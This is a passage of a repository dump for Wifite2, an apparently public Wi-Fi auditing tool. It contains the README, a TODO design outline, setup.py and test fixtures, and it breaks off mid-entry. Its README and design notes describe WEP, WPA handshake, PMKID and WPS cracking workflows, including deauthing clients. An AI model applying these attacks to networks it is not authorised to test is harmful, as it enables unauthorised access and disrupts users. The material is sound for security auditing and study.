by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*, and also [patched wireless drivers that support injection]().\n\nRequired Tools\n--------------\nFirst and foremost, you will need a wireless card capable of \"Monitor Mode\" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards) and also [this guide](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)). There are many cheap wireless cards that plug into USB available from online stores.\n\nSecond, only the latest versions of these programs are supported and must be installed for Wifite to work properly:\n\n**Required:**\n\n* `python`: Wifite is compatible with both `python2` and `python3`.\n* [`iwconfig`](https://wiki.debian.org/iwconfig): For identifying wireless devices already in Monitor Mode.\n* [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices.\n* [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes:\n   * [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices.\n   * [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures.\n   * [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks.\n   * [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation.\n   * [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files.\n\n**Optional, but Recommended:**\n\n* [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files.\n* [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust & brute-force attacks.\n   * Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.\n* [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust & brute-force attacks.\n   * Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.\n   * Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.\n* [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures.\n* [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures.\n* [`hashcat`](https://hashcat.net/): For cracking PMKID hashes.\n   * [`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes.\n   * [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format.\n\n\nRun Wifite\n----------\n```\ngit clone https://github.com/derv82/wifite2.git\ncd wifite2\nsudo ./Wifite.py\n```\n\nInstall Wifite\n--------------\nTo install onto your computer (so you can just run `wifite` from any terminal), run:\n\n```bash\nsudo python setup.py install\n```\n\nThis will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path.\n\n**Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files:\n\n```bash\nsudo python setup.py install --record files.txt \\\n  && cat files.txt | xargs sudo rm \\\n  && rm -f files.txt\n```\n\nBrief Feature List\n------------------\n* [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`)\n* WPS Offline Brute-Force Attack aka \"Pixie-Dust\". (enabled by-default, force with: `--wps-only --pixie`)\n* WPS Online Brute-Force Attack aka \"PIN attack\". (enabled by-default, force with: `--wps-only --no-pixie`)\n* WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture (enabled by-default, force with: `--no-wps`)\n* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)\n* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)\n* Automatically decloaks hidden access points while scanning or attacking.\n   * Note: Only works when channel is fixed. Use `-c <channel>`\n   * Disable this using `--no-deauths`\n* 5Ghz support for some wireless cards (via `-5` switch).\n   * Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)\n* Stores cracked passwords and handshakes to the current directory (`--cracked`)\n   * Includes information about the cracked access point (Name, BSSID, Date, etc).\n* Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`)\n\nWhat's new?\n-----------\nComparing this repo to the \"old wifite\" @ https://github.com/derv82/wifite\n\n* **Less bugs**\n   * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this).\n   * No longer \"one monolithic script\". Has working unit tests. Pull requests are less-painful!\n* **Speed**\n   * Target access points are refreshed every second instead of every 5 seconds.\n* **Accuracy**\n   * Displays realtime Power level of currently-attacked target.\n   * Displays more information during an attack (e.g. % during WEP chopchop attacks, Pixie-Dust step index, etc)\n* **Educational**\n   * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands.\n   * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used.\n* More-actively developed.\n* Python 3 support.\n* Sweet new ASCII banner.\n\nWhat's gone?\n------------\n* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches).\n   * You can still access some of these obscure options, try `wifite -h -v`\n\nWhat's not new?\n---------------\n* (Mostly) Backwards compatible with the original `wifite`'s arguments.\n* Same text-based interface everyone knows and loves.\n\nScreenshots\n-----------\nCracking WPS PIN using `reaver`'s Pixie-Dust attack, then fetching WPA key using `bully`:\n![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/Q5KSDbg.gif)\n\n-------------\n\nCracking WPA key using PMKID attack:\n![PMKID attack](https://i.imgur.com/CR8oOp0.gif)\n\n-------------\n\nDecloaking & cracking a hidden access point (via the WPA Handshake attack):\n![Decloaking and Cracking a hidden access point](https://i.imgur.com/F6VPhbm.gif)\n\n-------------\n\nCracking a weak WEP password (using the WEP Replay attack):\n![Cracking a weak WEP password](https://i.imgur.com/jP72rVo.gif)\n\n-------------\n\nCracking a pre-captured handshake using John The Ripper (via the `--crack` option):\n![--crack option](https://i.imgur.com/iHcfCjp.gif)\n"
  },
  {
    "path": "TODO.md",
    "content": "# TODO\n\nThis file is a braindump of ideas to improve Wifite2 (or forward-looking to \"Wifite3\")\n\n------------------------------------------------------\n\n### Better Dependency Handling\nI can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs.\n\nWhen a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well.\n\nThe dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).\n\nSince we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this.\n\nRequirements:\n\n1. A base *Dependency* class\n   * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()`\n2. Update all dependencies to inherit *Dependency*\n   * Override abstract methods\n3. Dependency-checker to run at Wifite startup.\n   * Check if all required dependencies exists.\n   * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning.\n   * If optional deps are missing, suggest `--install` without prompting.\n   * Otherwise continue silently.\n\n------------------------------------------------------\n\n### Support Other Distributions (not just Kali x86/64)\n\nOff the top of my head:\n\n* Raspberry Pi (or any Debian distro)\n* Raspberry Pi + Kali (?)\n* Kali Nethunter\n* Various other distributions (backbox, pentoo, blackarch, etc)\n\nDeprecation of \"core\" programs:\n\n* `iwconfig` is deprecated in favor of `iw`\n* `ifconfig` is deprecated in favor of `ip`\n\nVersioning problems:\n\n* Pixiewps output differs depending on version\n  * Likewise for reaver & bully\n* Reaver and bully args have changed significantly over the years (added/removed/required)\n* airodump-ng --write-interval=1 doesn't work on older versions\n  * Same with --wps and a few other options :(\n* airmon-ng output differs, wifite sees \"phy0\" instead of the interface name.\n\nMisc problems:\n\n* Some people have problems with multiple wifi cards plugged in\n  * Solution: User prompt when no devices are in monitor mode (ask first).\n* Some people want wifite to kill network manager, others don't.\n  * Solution: User prompt to kill processes\n* Some people need --ignore-negative-one on some wifi cards.\n\n------------------------------------------------------\n\n### Command-line Arguments\n\nWifite is a 'Spray and Pray', 'Big Red Button' script. Wifite should not provide obscure options that only advanced users can understand. Advanced users can simply use Wifite's dependencies directly.\n\n--------------------------------\n\nEvery option in Wifite's should either:\n\n1. Significantly affect how Wifite behaves (e.g. `pillage`, `5ghz`, '--no-wps', '--nodeauths')\n2. Or narrow down the list of targets (e.g. filtering --wps --wep --channel)\n3. Or set some flag required by certain hardware (packets per second)\n\nAny options that don't fall into the above buckets should be removed.\n\n--------------------------------\n\nCurrently there are way too many command-line options:\n\n* 8 options to configure a timeout in seconds (wpat, wpadt, pixiet, pixiest, wpst, wept, weprs, weprc)\n  * I don't even know what these are or if they work anymore.\n* 5 options to configure Thresholds (WPS retry/fail/timeout, WEP pps/ivs)\n  * And the WPS options are NOT consistent between Bully & Reaver.\n* \"Num deauths\" etc\n\nFor most of these, We can just set a sane default value to avoid the `--help` Wall-of-Text.\n\n--------------------------------\n\nThe \"Commands\" (`cracked`, `crack`, `check`) should probably not start with `--`, e.g. `--crack` should be simply `crack`\n\n------------------------------------------------------\n\n### Native Python Implementations\n\nSome dependencies of Wifite (aircrack suite, tshark, etc) could be replaced with native Python implementations.\n\n*Scapy* allows listening to and inspecting packets, writing pcap files, and other features.\n\nThere's ways to change wireless channels, enumerate wireless devices, send Deauth packets, etc. all within Python.\n\nWe could still utilize libraries when it's more trouble than it's worth to port to Python, like some of aircrack (chopchop, packetforge-ng).\n\nAnd some native Python implementations might be cross-platform, which would allow...\n\n------------------------------------------------------\n\n### Non-Linux support (OSX & Windows)\n\nSome of Wifite's dependencies work on other OSes (airodump) but some don't (airmon).\n\nIf it's possible to run these programs on Windows or OSX, Wifite should support that.\n\n------------------------------------------------------\n\n### WPS Attacks\n\nWifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used by bully?\n\nIdeally for Pixie-Dust, we'd have:\n\n1. Switch to set bully/reaver timeout\n2. Identical counters between bully/reaver (failures, timeouts, lockouts)\n  * I don't think users should be able to set failure/timeout thresholds (no switches).\n3. Identical statuses between bully/reaver.\n  * Errors: \"WPSFail\", \"Timeout\", \"NoAssoc\", etc\n  * Statuses: \"Waiting for target\", \"Trying PIN\", \"Sending M2 message\", \"Running pixiewps\", etc.\n  * \"Step X/Y\" is nice, but not entirely accurate.\n  * It's weird when we go from (6/8) to (5/8) without explanation. And the first 4 are usually not displayed.\n3. Countdown timer until attack is aborted (e.g. 5min)\n4. Countdown timer on \"step timeout\" (time since last status changed, e.g. 30s)\n\nOrder of statuses:\n1. Waiting for beacon\n2. Associating with target\n3. Trying PIN / EAPOL start / identity response / M1,M2 (M3,M4)\n4. Running pixiewps\n5. Cracked or Failed\n\nAnd as for PIN cracking.. um.. Not even sure this should be an option in Wifite TBH.\nPIN cracking takes days and most APs auto-lock after 3 attempts.\nMulti-day (possibly multi-month) attacks aren't a good fit for Wifite.\nUsers with that kind of dedication can run bully/reaver themselves.\n\n------------------------------------------------------\n\n### Directory structure\n\n**Note: This was mostly done in the great refactoring of Late March 2018**\n\nToo modular in some places, not modular enough in others.\n\nNot \"/py\":\n\n* **aircrack/**\n  * `aircrack.py` <- process\n  * `airmon.py` <- process\n  * `airodump.py` <- process\n  * `aireplay.py` <- process\n* **attack/**\n  * `decloak.py` <- aireplay, airodump\n  * `wps-pin.py` <- reaver, bully\n  * `wps-pixie.py` <- reaver, bully\n  * `wpa.py` (handshake only)  <- aireplay, airodump\n  * `wep.py` (relay, chopchop) <- aireplay, airodump\n* `config.py`\n* **crack/**\n  * `crackwep.py` <- target, result, aireplay, aircrack\n  * `crackwpa.py` <- target, handshake, result, aircrack\n* **handshake/**\n  * `tshark.py` <- process\n  * `cowpatty.py` <- process\n  * `pyrit.py` <- process\n  * `handshake.py` <- tshark, cowpatty, pyrit, aircrack\n* `output.py` (color/printing) <- config\n* `process.py` <- config\n* `scan.py` (airodump output to target) <- config, target, airodump\n* **target/**\n  * `target.py` (ssid, pcap file) <- airodump, tshark\n  * `result.py` (PIN/PSK/KEY)\n\n------------------------------------------------------\n\n### Dependency injection\n\n* Initialize each dependency at startup or when first possible.\n* Pass dependencies to modules that require them.\n  * Modules that call aircrack expect aircrack.py\n  * Modules that print expect output.py\n* Unit test using mocked dependencies.\n\n------------------------------------------------------\n\n### Dependencies\n\n**AIRMON**\n\n* Detect interfaces in monitor mode.\n* Check if config interface name is found.\n* Enable or Disable monitor mode on a device.\n\n**AIRODUMP**\n* Run as daemon (background thread)\n* Accept flags as input (--ivs, --wps, etc)\n* Construct a Target for all found APs\n  * Each Target includes list of associated Clients\n  * Can parse CSV to find lines with APs and lines with Clients\n  * Option to read from 1) Stdout, or 2) a CapFile\n* Identify Target's attributes: ESSID, BSSID, AUTH\n* Identify cloaked Targets (ESSID=null)\n* Return filtered list of Targets based on AUTH, ESSID, BSSID\n* XXX: Reading STDOUT might not match what's in the Cap file...\n* XXX: But STDOUT gives us WPS and avoids WASH...\n\n**TARGET**\n* Constructed via passed-in CSV (airodump-ng --output-format=csv)\n  * Needs info on the current AP (1 line) and ALL clients (n lines)\n* Keep track of BSSID, ESSID, Channel, AUTH, other attrs\n* Construct Clients of target\n* Start & return an Airodump Daemon (e.g. WEP needs --ivs flag)\n\n**AIREPLAY**\n* Fakeauth\n  * (Daemon) Start fakeauth process\n  * Detect fakeauth status\n  * End fakeauth process\n* Deauth\n  * Call aireplay-ng to deauth a Client BSSID+ESSID\n  * Return status of deauth\n* Chopchop & Fragment\n  1. (Daemon) Start aireplay-ng --chopchop or --fragment on Target\n  2. LOOP\n    1. Detect chopchop/fragment status (.xor or EXCEPTION)\n    2. If .xor is created:\n      * Call packetforge-ng to forge cap\n      * Arpreplay on forged cap\n    3. If running time > threshold, EXCEPTION\n* Arpreplay\n  1. (Daemon) Start aireplay-ng to replay given capfile\n  2. Detect status of replay (# of packets)\n  3. If running time > threshold and/or packet velocity < threshold, EXCEPTION\n\n**AIRCRACK**\n* Start aircrack-ng for WEP: Needs pcap file with IVS\n* Start aircrack-ng for WPA: Needs pcap file containing Handshake\n* Check status of aircrack-ng (`percenage`, `keys-tried`)\n* Return cracked key\n\n**CONFIG**\n* Key/value stores: 1) defaults and 2) customer-defined\n* Reads from command-line arguments (+input validation)\n* Keys to filter scanned targets by some attribute\n  * Filter by AUTH: --wep, --wpa\n  * Filter by WPS: --wps\n  * Filter by channel: --channel\n  * Filter by bssid: --bssid\n  * Filter by essid: --essid\n* Keys to specify attacks\n  * WEP: arp-replay, chopchop, fragmentation, etc\n  * WPA: Just handshake?\n  * WPS: pin, pixie-dust\n* Keys to specify thresholds (running time, timeouts)\n* Key to specify the command to run:\n  * SCAN (default), CRACK, INFO\n\n------------------------------------------------------\n\n### Process Workflow\n\n**MAIN**: Starts everything\n1. Parse command-line args, override defaults\n2. Start appropriate COMMAND (SCAN, ATTACK, CRACK, INFO)\n\n**SCAN**: (Scan + Attack + Result)\n1. Find interface, start monitor mode (airmon.py)\n2. LOOP\n   1. Get list of filtered targets (airodump.py)\n     * Option: Read from CSV every second or parse airodump STDOUT\n   2. Decloak SSIDs if possible (decloak.py)\n   3. Sort targets; Prefer WEP over WPS over WPA(1+ clients) over WPA(noclient)\n   4. Print targets to screen (ESSID, Channel, Power, WPS, # of clients)\n   5. Print decloaked ESSIDs (if any)\n   6. Wait 5 seconds, or until user interrupts\n3. Prompt user to select target or range of targets\n4. FOR EACH target:\n   1. ATTACK target based on CONFIG (WEP/WPA/WPS)\n   2. Print attack status (cracked or error)\n   3. WPA-only: Start cracking Handshake\n   4. If cracked, test credentials by connecting to the router (?).\n\n**ATTACK** (All types)\nReturns cracked target information or throws exception\n\n**ATTACK WEP**\n0. Expects: Target\n1. Start Airodump to capture IVS from the AP (airodump)\n2. LOOP\n   1. (Daemon) Fakeauth with AP if needed (aireplay, config)\n   2. (Daemon?) Perform appropriate WEP attack (aireplay, packetforge)\n   3. If airodump IVS > threshold:\n      1. (Daemon) If Aircrack daemon is not running, start it. (aircrack)\n      2. If successful, add password to Target and return.\n   4. If aireplay/others and IVS has not changed in N seconds, restart attack.\n   5. If running time > threshold, EXCEPTION\n\n**ATTACK WPA**: Returns cracked Target or Handshake of Target\n0. Expects: Target\n1. Start Airodump to capture PCAP from the Target AP\n2. LOOP\n   1. Get list of all associated Clients, add \"*BROADCAST*\"\n   2. (Daemon) Deauth a single client in list.\n   3. Print status (time remaining, clients, deauths sent)\n   4. Copy PCAP and check for Handshake\n   5. If handshake is found, save to ./hs/ and BREAK\n   6. If running time > threshold, EXCEPTION\n3. (Daemon) If Config has a wordlist, try crack handshake (airodump)\n   1. If successful, add PSK to target and return\n4. If not cracking or crack is unsuccessful, mark PSK as \"Handshake\" and return\n\n**ATTACK WPS**\n0. Expects: Target\n1. For each attack (PIN and/or Pixie-Dust based on CONFIG):\n   1. (Daemon) Start Reaver/Bully (PIN/Pixie-Dust)\n   2. LOOP\n      1. Print Pixie status\n      2. If Pixie is successful, add PSK+PIN to Target and return\n      3. If Pixie failures > threshold, EXCEPTION\n      4. If Pixie is locked out == CONFIG, EXCEPTION\n      5. If running time > threshold, EXCEPTION\n\n**CRACK WEP**\n0. Expects: String pcap file containing IVS\n2. FOR EACH Aircrack option:\n   1. (Daemon) Start Aircrack\n   2. LOOP\n      1. Print Aircrack status\n      2. If Aircrack is successful, print result\n      3. If unsuccessful, EXCEPTION\n\n**CRACK WPA**\n0. Expects: String pcap file containing Handshake (optional: BSSID/ESSID)\n1. Select Cracking option (Aircrack, Cowpatty, Pyrit)\n2. (Daemon) Start attack\n3. LOOP\n   1. Print attack status if possible\n   2. If successful, print result\n   3. If unsuccessful, EXCEPTION\n\n**INFO**\n* Print list of handshake files with ESSIDs, Dates, etc.\n  * Show options to `--crack` handshakes (or execute those commands directly)\n* Print list of cracked Targets (including WEP/WPA/WPS key)\n\n------------------------------------------------------\n"
  },
  {
    "path": "Wifite.py",
    "content": "#!/usr/bin/env python\n\n# Note: This script runs Wifite from within a cloned git repo.\n# The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd.\n\nfrom wifite import __main__\n__main__.entry_point()\n"
  },
  {
    "path": "bin/wifite",
    "content": "#!/usr/bin/env python\n\nfrom wifite import __main__\n__main__.entry_point()\n"
  },
  {
    "path": "runtests.sh",
    "content": "#!/bin/sh\npython2.7 -m unittest discover tests -v\n"
  },
  {
    "path": "setup.cfg",
    "content": "[install]\ninstall-scripts=/usr/sbin\n"
  },
  {
    "path": "setup.py",
    "content": "from distutils.core import setup\n\nfrom wifite.config import Configuration\n\nsetup(\n    name='wifite',\n    version=Configuration.version,\n    author='derv82',\n    author_email='derv82@gmail.com',\n    url='https://github.com/derv82/wifite2',\n    packages=[\n        'wifite',\n        'wifite/attack',\n        'wifite/model',\n        'wifite/tools',\n        'wifite/util',\n    ],\n    data_files=[\n        ('share/dict', ['wordlist-top4800-probable.txt'])\n    ],\n    entry_points={\n        'console_scripts': [\n            'wifite = wifite.wifite:entry_point'\n        ]\n    },\n    license='GNU GPLv2',\n    scripts=['bin/wifite'],\n    description='Wireless Network Auditor for Linux',\n    #long_description=open('README.md').read(),\n    long_description='''Wireless Network Auditor for Linux.\n\n    Cracks WEP, WPA, and WPS encrypted networks.\n\n    Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''',\n    classifiers = [\n        \"Programming Language :: Python :: 2.7\",\n        \"Programming Language :: Python :: 3\"\n    ]\n)\n"
  },
  {
    "path": "tests/__init__.py",
    "content": ""
  },
  {
    "path": "tests/files/airmon.output",
    "content": "No interfering processes found\nPHY\tInterface\tDriver\t\tChipset\n\nphy2\twlan0\t\trtl8187\t\tRealtek Semiconductor Corp. RTL8187\n\t\t(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)\n\t\t(mac80211 station mode vif disabled for [phy2]wlan0)\n\n\n"
  },
  {
    "path": "tests/files/airodump-weird-ssids.csv",
    "content": "\r\nBSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\nAA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10,  54, WPA2, CCMP,PSK, -34,        5,        0,   0.  0.  0.  0,  24, Comma\\, no trailing space, \r\nAA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10,  54, WPA2, CCMP,PSK, -35,       18,        0,   0.  0.  0.  0,  20, \\\"Quoted ESSID\\, Comma\\, no trailing spaces.   \\\", \r\nAA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10,  54, WPA2, CCMP,PSK, -31,       12,        0,   0.  0.  0.  0,  22, \"Comma\\, Trailing space \", \r\nAA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10,  54, WPA2, CCMP,PSK, -29,       15,        0,   0.  0.  0.  0,  30, \"\\\"quote\\\" comma\\, trailing space \", \r\nAA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10,  54, WPA2, CCMP,PSK, -20,       43,        0,   0.  0.  0.  0,  19, \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00, \r\n\r\n\r\n\r\n\r\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs\r\n\r\n"
  },
  {
    "path": "tests/files/airodump.csv",
    "content": "\r\nBSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n78:24:AF:D5:29:98, 2015-05-30 11:28:44, 2015-05-30 11:28:44,  6,  -1, WPA, ,   , -73,        0,        1,   0.  0.  0.  0,   0, , \r\n00:13:10:33:A6:56, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA, TKIP,PSK, -71,        7,        0,   0.  0.  0.  0,  11, orangefloss, \r\nD8:50:E6:D7:22:95, 2015-05-30 11:28:43, 2015-05-30 11:28:43, -1,  -1, , ,   , -70,        0,        0,   0.  0.  0.  0,   0, , \r\nF0:99:BF:0A:B5:B0, 2015-05-30 11:28:45, 2015-05-30 11:28:48,  6,  54, WPA2, CCMP,PSK, -70,        3,        0,   0.  0.  0.  0,  22, Ingham's Wi-Fi Network, \r\n60:02:92:BC:08:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -68,       17,        0,   0.  0.  0.  0,  13, HOME-89B5-2.4, \r\n00:25:BC:8B:24:95, 2015-05-30 11:28:44, 2015-05-30 11:28:44,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -68,        1,        0,   0.  0.  0.  0,   8, atlantis, \r\n60:02:92:BC:08:02, 2015-05-30 11:28:44, 2015-05-30 11:28:49,  6,  54, OPN, ,   , -68,        5,        0,   0.  0.  0.  0,  11, xfinitywifi, \r\n00:23:69:BA:6D:F0, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -67,       21,        0,   0.  0.  0.  0,  15, Pine Lake Girl2, \r\n46:32:C8:5C:0E:3D, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -67,        6,        0,   0.  0.  0.  0,  12, \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00, \r\n44:32:C8:5C:0E:3C, 2015-05-30 11:28:44, 2015-05-30 11:28:48,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -67,        5,        3,   0.  0.  0.  0,   9, HOME-0E3C, \r\n60:02:92:BC:08:01, 2015-05-30 11:28:44, 2015-05-30 11:28:49,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -69,       14,        0,   0.  0.  0.  0,   0, , \r\nCC:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP TKIP,PSK, -67,        8,        0,   0.  0.  0.  0,   9, HOME-E5F2, \r\nC2:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -65,       13,        0,   0.  0.  0.  0,   0, , \r\nC6:A4:62:E8:E5:F0, 2015-05-30 11:28:45, 2015-05-30 11:28:50,  6,  54, OPN, ,   , -65,       14,        0,   0.  0.  0.  0,  11, xfinitywifi, \r\nF0:99:BF:05:20:64, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       30,        0,   0.  0.  0.  0,   4, JJML, \r\nF2:64:20:05:BF:90, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       23,        0,   0.  0.  0.  0,   9, JJMLGuest, \r\n90:84:0D:DA:A8:87, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       33,        5,   0.  0.  0.  0,  10, Rolston123, \r\n10:0D:7F:8C:C1:FB, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       12,        0,   0.  0.  0.  0,  12, The Internet, \r\n00:00:00:00:00:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WEP, WEP,   , -57,      138,        0,   0.  0.  0.  0,   0, , \r\n00:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP TKIP,PSK, -52,       32,        6,   0.  0.  0.  0,   9, HOME-1102, \r\n00:24:7B:AB:5C:EE, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -55,       16,       25,   0.  0.  0.  0,  11, myqwest0445, \r\n02:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -53,       41,        0,   0.  0.  0.  0,   0, , \r\n06:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, OPN, ,   , -53,       56,        0,   0.  0.  0.  0,  11, xfinitywifi, \r\n00:F7:6F:CD:B2:2A, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -48,       44,        0,   0.  0.  0.  0,  13, im human 2015, \r\n30:85:A9:39:D2:18, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -21,       44,        4,   0.  0.  0.  0,  32, Uncle Router's Gigabit LAN Party, \r\n00:0E:58:FA:7C:61, 2015-05-30 11:28:44, 2015-05-30 11:28:49,  6,  -1, WPA, ,   ,  -1,        0,       57,   0.  0.  0.  0,   0, , \r\n00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:48,  6,  -1, WPA, ,   ,  -1,        0,       59,   0.  0.  0.  0,   0, , \r\n28:01:00:00:D0:00, 2015-05-30 11:28:44, 2015-05-30 11:28:44,  6,  -1, , ,   ,  -1,        0,        0,   0.  0.  0.  0,   0, , \r\n00:0E:58:E9:36:B3, 2015-05-30 11:28:44, 2015-05-30 11:28:48,  6,  -1, WPA, ,   ,  -1,        0,        2,   0.  0.  0.  0,   0, , \r\n05:00:40:00:BB:7C, 2015-05-30 11:28:50, 2015-05-30 11:28:50, -1,  -1, , ,   ,  -1,        0,        0,   0.  0.  0.  0,   0, , \r\n\r\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs\r\n3A:01:44:32:C8:5C, 2015-05-30 11:28:44, 2015-05-30 11:28:44, -69,        3, 28:01:00:00:D0:00,\r\n54:35:30:23:62:8E, 2015-05-30 11:28:43, 2015-05-30 11:28:50, -64,        7, 00:1D:D5:9B:11:00,HOME-1102\r\n10:40:F3:93:13:FA, 2015-05-30 11:28:44, 2015-05-30 11:28:48, -52,        4, 00:F7:6F:CD:B2:2A,\r\n00:0E:58:FA:7C:61, 2015-05-30 11:28:45, 2015-05-30 11:28:50, -50,        6, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66\r\n00:0E:58:E9:36:B3, 2015-05-30 11:28:43, 2015-05-30 11:28:49, -51,      124, 00:0E:58:FA:7C:61,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66\r\n00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:50, -48,        9, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66\r\n5C:93:A2:0D:3D:63, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  -1,       22, 00:24:7B:AB:5C:EE,\r\n\r\n"
  },
  {
    "path": "tests/test_Airmon.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.insert(0, '..')\n\nfrom wifite.tools.airmon import Airmon\n\nimport unittest\n\nclass TestAirmon(unittest.TestCase):\n    def test_airmon_start(self):\n        # From https://github.com/derv82/wifite2/issues/67\n        stdout = '''\nPHY    Interface    Driver        Chipset\n\nphy0    wlan0        iwlwifi        Intel Corporation Centrino Ultimate-N 6300 (rev 3e)\n\n        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)\n        (mac80211 station mode vif disabled for [phy0]wlan0)\n'''\n        mon_iface = Airmon._parse_airmon_start(stdout)\n        assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be \"wlan0mon\" but got \"{}\"'.format(mon_iface)\n\n"
  },
  {
    "path": "tests/test_Airodump.py",
